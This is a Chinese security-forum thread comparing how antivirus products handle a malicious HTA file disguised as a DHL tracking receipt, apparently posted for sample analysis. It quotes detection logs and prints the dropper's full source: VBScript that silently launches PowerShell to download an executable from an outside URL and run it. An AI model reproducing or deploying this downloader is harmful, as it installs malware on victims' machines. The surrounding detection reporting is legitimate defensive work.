305a092b3da9cfd5cae9578bf8325d4a

显示全部楼层 · 发表于 2016-5-28 17:42:21

gdata miss

显示全部楼层 · 发表于 2016-5-28 17:53:40

诺顿 miss

显示全部楼层 · 发表于 2016-5-28 18:20:16

ESET SMART SECURITY 9

[mw_shl_code=css,true]时间;扫描程序;对象类型;对象;威胁;操作;用户;信息;哈希
2016/5/28 18:17:39;文件系统实时防护;文件;D:\360安全浏览器下载\DHL_RECEIPT_TRACKING.pdf (1)\DHL_RECEIPT_TRACKING.pdf.hta;PowerShell/TrojanDownloader.Agent.Q 特洛伊木马;通过删除清除;WIN-R5FPG2VP06B\Administrator;在应用程序新建的文件上发生事件: C:\Program Files\360\360zip\360zip.exe (79ABC977283CC76FA33E473415CC68ABFC8E435A).;2AAC801DEB02E0B46EC7174634BECA484F69037D
[/mw_shl_code]

显示全部楼层 · 发表于 2016-5-28 19:07:22

2016-05-28 19:07:00 应用程序保护(运行应用程序) 操作:阻止
进程路径:C:\WINDOWS\system32\mshta.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c powershell (new-object System.Net.WebClient).DownloadFile('http://zukunftsbildung.org/upload.exe','%AppData%\Server.exe'); Start-Process '%AppData%\Server.exe'

显示全部楼层 · 发表于 2016-5-29 04:38:30

http://zukunftsbildung.org/upload.exe

[mw_shl_code=html,true]<html>
<head>
<SCRIPT Language="VBScript">
Set objShell = CreateObject("Shell.Application")
self.close
objShell.ShellExecute "cmd.exe", "/c powershell (new-object System.Net.WebClient).DownloadFile('http://zukunftsbildung.org/upload.exe','%AppData%\Server.exe'); Start-Process '%AppData%\Server.exe'", "", "", 0
</SCRIPT>
</body>
</html>[/mw_shl_code]

显示全部楼层 · 发表于 2016-5-29 09:29:47

avira pro miss

显示全部楼层 · 发表于 2016-5-29 15:38:26

Avira TR/Dldr.Powershell.A

显示全部楼层 · 发表于 2016-5-29 19:40:30

powershell
下载物
下载地址
上报给卡巴。。。。。

显示全部楼层 · 发表于 2016-5-30 10:10:37

微软 miss掉额

[其他相关] 305a092b3da9cfd5cae9578bf8325d4a

本帖子中包含更多资源

本帖子中包含更多资源

浏览过的版块